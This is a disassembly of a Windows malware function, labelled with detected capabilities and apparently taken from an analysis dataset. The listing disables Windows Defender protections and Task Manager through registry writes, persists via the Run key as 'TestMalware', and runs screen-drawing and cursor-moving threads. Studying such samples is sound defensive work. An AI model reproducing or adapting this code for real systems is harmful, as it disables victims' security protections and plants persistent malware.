Function at 0x140003110
Capabilities:
Check for sandbox username or hostname
Create thread
Disable system features via registry on windows
Disable windows defender features via registry on windows
Get session user name
Log keystrokes via polling
Persist via run registry key
Set console window title
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x570]
sub rsp, 0x670
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x560], rax
xor r12d, r12d
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rsp + 0x60], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
lea rdx, [rbp + 0xf8]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x100]
mov dword [0x14000d094], eax
mov eax, dword [rbp + 0x104]
mov dword [0x14000d090], eax
mov dword [rbp + 0x58], 1
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400032ea
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x58]
mov qword [rsp + 0x20], rax
lea r9d, [r12 + 4]
xor r8d, r8d
lea rdx, str.DisableAntiSpyware
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], r12
lea rax, [rbp + 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Real_Time_Protection
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x58]
mov qword [rsp + 0x20], rax
lea r9d, [r12 + 4]
xor r8d, r8d
lea rdx, str.DisableRealtimeMonitoring
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x58]
mov qword [rsp + 0x20], rax
lea r9d, [r12 + 4]
xor r8d, r8d
lea rdx, str.DisableBehaviorMonitoring
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x58]
mov qword [rsp + 0x20], rax
lea r9d, [r12 + 4]
xor r8d, r8d
lea rdx, str.DisableIOAVProtection
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x58]
mov qword [rsp + 0x20], rax
lea r9d, [r12 + 4]
xor r8d, r8d
lea rdx, str.DisableScanOnRealtimeEnable
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [rbp + 0xb0], 0x101
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x140]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], r12
lea rax, [rbp + 0x140]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r12w
jne 0x140003340
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xd8]
call fcn.140005820
nop
lea rcx, [rbp + 0xd8]
mov rax, qword [rbp + 0xe8]
cmp qword [rbp + 0xf0], 7
jbe 0x140003383
mov rdx, qword [rbp + 0xd8]
lea r8, [rdx + rax*2]
jmp 0x14000338e
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x118]
call fcn.1400050c0
nop
lea r8, [rbp + 0x118]
lea rcx, [rbp - 0x50]
call fcn.1400051f0
nop
mov r8d, 8
lea rdx, str.Desktop
mov rcx, rax
call fcn.140004b00
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], r12
mov qword [rbp + 0xd0], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000343b
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003436
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003436
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007cac
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov dword [rsp + 0x54], r12d
call fcn.140003ef0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov dword [rbp + 0xb4], 1
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 2
jne 0x1400034cd
mov qword [rsp + 0x40], r12
lea rax, [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x20206
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0xb4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableTaskMgr
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, 0x104
lea rdx, [rbp + 0x350]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000358c
lea rcx, [rbp + 0x350]
mov rax, rsi
nop
lea rax, [rax + 1]
cmp word [rcx + rax*2], 0
jne 0x140003550
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x350]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.TestMalware
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x88], xmm1
mov qword [rbp + 0x98], r12
lea rax, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova rax, qword [rbp + 0xb8]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xa8], rax
call fcn.1400072e8
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov edx, eax
lea rcx, [rbp - 0x30]
call fcn.1400018d0
nop
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x60], xmm0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x60]
call fcn.140004eb0
test eax, eax
jne 0x140003e59
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x140003657
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003652
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003652
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007cac
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov rbx, qword [rbp + 0x68]
test rbx, rbx
je 0x140003672
lock inc dword [rbx + 8]
mov rbx, qword [rbp + 0x68]
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0xa0], xmm0
test rbx, rbx
je 0x14000368b
lock inc dword [rbx + 8]
mov rbx, qword [rbp + 0x68]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x108], xmm1
test rbx, rbx
je 0x1400036d2
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400036ce
mov rbx, qword [rbp + 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400036ce
mov rbx, qword [rbp + 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
jmp 0x1400036d2
mov rbx, qword [rbp + 0x68]
nop dword [rax]
nop word [rax + rax]
mov rdi, qword [rbp + 0xa0]
test rdi, rdi
je 0x1400037ee
mov r8d, 3
lea rdx, [rbp - 0x70]
mov rcx, rdi
call fcn.1400028f0
mov rax, qword [rbp - 0x70]
mov edx, dword [rbp - 0x68]
test edx, edx
je 0x14000371c
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140003e40
cmp eax, 3
sete byte [rsp + 0x50]
lea rcx, [rdi + 0x20]
cmp qword [rdi + 0x38], 7
jbe 0x140003733
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x30]
mov qword [rbp - 0x60], rcx
mov qword [rbp - 0x58], rax
call fcn.1400072e8
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x20], xmm0
lea r8, [rbp + 0x20]
mov edx, eax
lea rcx, [rbp - 0x10]
call fcn.140004bf0
nop
mov rdx, qword [rbp + 0x90]
lea rax, [rsp + 0x50]
lea r9, [rbp - 0x10]
mov qword [rsp + 0x20], rax
cmp rdx, qword [rbp + 0x98]
je 0x14000378a
call fcn.140006f20
add qword [rbp + 0x90], 0x10
jmp 0x140003797
lea rcx, [rbp + 0x88]
call fcn.1400063f0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400037ce
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037e7
call fcn.140007cac
lea rcx, [rbp + 0xa0]
call fcn.140002a50
test eax, eax
jne 0x140003e51
jmp 0x1400036e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rbp + 0xa8]
test rcx, rcx
je 0x140003832
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000382e
mov rbx, qword [rbp + 0xa8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000382e
mov rcx, qword [rbp + 0xa8]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rbp + 0x68]
test rbx, rbx
je 0x140003863
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140003863
mov rbx, qword [rbp + 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], esi
cmp esi, 1
jne 0x140003863
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rbp + 0x88]
mov rdi, qword [rbp + 0x90]
cmp rbx, rdi
je 0x1400038c0
cmp dword [rbx + 8], 0
je 0x140003a25
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + 8], eax
je 0x140003a19
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x70], xmm0
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140003a0d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rdi
jne 0x140003876
nop dword [rax + rax]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
mov qword [rbp + 0x70], r12
mov eax, 0x2aaaaaab
imul dword [0x14000d094]
mov r13d, edx
shr r13d, 0x1f
add r13d, edx
mov esi, r12d
mov r14d, r12d
nop word [rax + rax]
mov dword [rbp - 0x80], r14d
lea r15d, [r14 + r13]
mov dword [rsp + 0x58], r15d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx ebx, r8b
shl ebx, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 0x10
or edi, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx r12d, r8b
or r12d, edi
mov dword [rbp + 0x80], r12d
mov rbx, qword [rbp + 0x68]
cmp rbx, qword [rbp + 0x70]
je 0x140003a31
mov ecx, 0x20
call fcn.140007c70
mov dword [rax], r15d
mov dword [rax + 4], r14d
mov dword [rax + 8], r12d
mov rcx, qword [rsp + 0x60]
mov qword [rax + 0x10], rcx
lea rcx, [0x140003e70]
mov qword [rax + 0x18], rcx
mov qword [rbp + 0x80], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140007160]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x140003bfd
mov rbx, qword [rbp + 0x68]
add rbx, 0x10
mov qword [rbp + 0x68], rbx
jmp 0x140003a68
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov rdx, rbx
lea rcx, [rbp + 0x60]
call fcn.1400066e0
mov rbx, qword [rbp + 0x68]
xor r12d, r12d
inc esi
mov r14d, r15d
cmp esi, 6
jl 0x1400038f0
mov edi, r12d
nop dword [rax]
cmp rbx, qword [rbp + 0x70]
je 0x140003ae4
mov ecx, 0x10
call fcn.140007c70
mov ecx, dword [rsp + 0x54]
mov dword [rax], ecx
lea rcx, [0x140004130]
mov qword [rax + 8], rcx
mov qword [rbp + 0x80], rax
lea rsi, [rbx + 8]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400071a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x140003c0c
mov rbx, qword [rbp + 0x68]
add rbx, 0x10
mov qword [rbp + 0x68], rbx
jmp 0x140003af9
lea r9, [rsp + 0x54]
mov rdx, rbx
lea rcx, [rbp + 0x60]
call fcn.1400069d0
mov rbx, qword [rbp + 0x68]
inc edi
cmp edi, 5
jl 0x140003a80
mov rdi, qword [rbp + 0x60]
cmp rdi, rbx
je 0x140003b55
nop dword [rax]
cmp dword [rdi + 8], 0
je 0x140003c33
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rdi + 8], eax
je 0x140003c27
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x70], xmm0
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140003c1b
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
add rdi, 0x10
cmp rdi, rbx
jne 0x140003b10
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [0x14000d094]
mov ebx, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [0x14000d090]
inc edx
lea ecx, [rbx + 1]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov ecx, 0x1b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140003c3f
inc dword [rsp + 0x54]
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x1400038c0
mov rax, rcx
mov rdx, qword [rbp + 0x68]
cmp rcx, rdx
je 0x140003bc3
nop dword [rax]
cmp dword [rax + 8], 0
jne 0x140003c96
add rax, 0x10
cmp rax, rdx
jne 0x140003bb0
mov rdx, qword [rbp + 0x70]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003c8f
call fcn.140007cac
jmp 0x1400038c0
mov dword [rdi], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsi], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x140003ca3
mov rax, rcx
mov rdx, qword [rbp + 0x68]
cmp rcx, rdx
je 0x140003c63
cmp dword [rax + 8], 0
jne 0x140003c96
add rax, 0x10
cmp rax, rdx
jne 0x140003c54
mov rdx, qword [rbp + 0x70]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.140007cac
nop
mov rcx, qword [rbp + 0x88]
test rcx, rcx
je 0x140003d23
mov rax, rcx
mov rdx, qword [rbp + 0x90]
cmp rcx, rdx
je 0x140003ccf
nop
cmp dword [rax + 8], 0
jne 0x140003d05
add rax, 0x10
cmp rax, rdx
jne 0x140003cc0
mov rdx, qword [rbp + 0x98]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.140007cac
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r12
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x140003d67
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007cac
mov qword [rbp + 0xc8], r12
mov qword [rbp + 0xd0], 0xf
mov byte [rbp + 0xb8], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x140003dc5
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003dbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003dbf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007cac
nop
mov rdx, qword [rbp + 0xf0]
cmp rdx, 7
jbe 0x140003e0e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007cac
xor eax, eax
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.140007c50
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rdi + 0x20]
lea rcx, str.directory_entry::status
call fcn.140002820
int3
mov edx, eax
call fcn.140002730
nop
lea r8, [rbp - 0x30]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.140002820
int3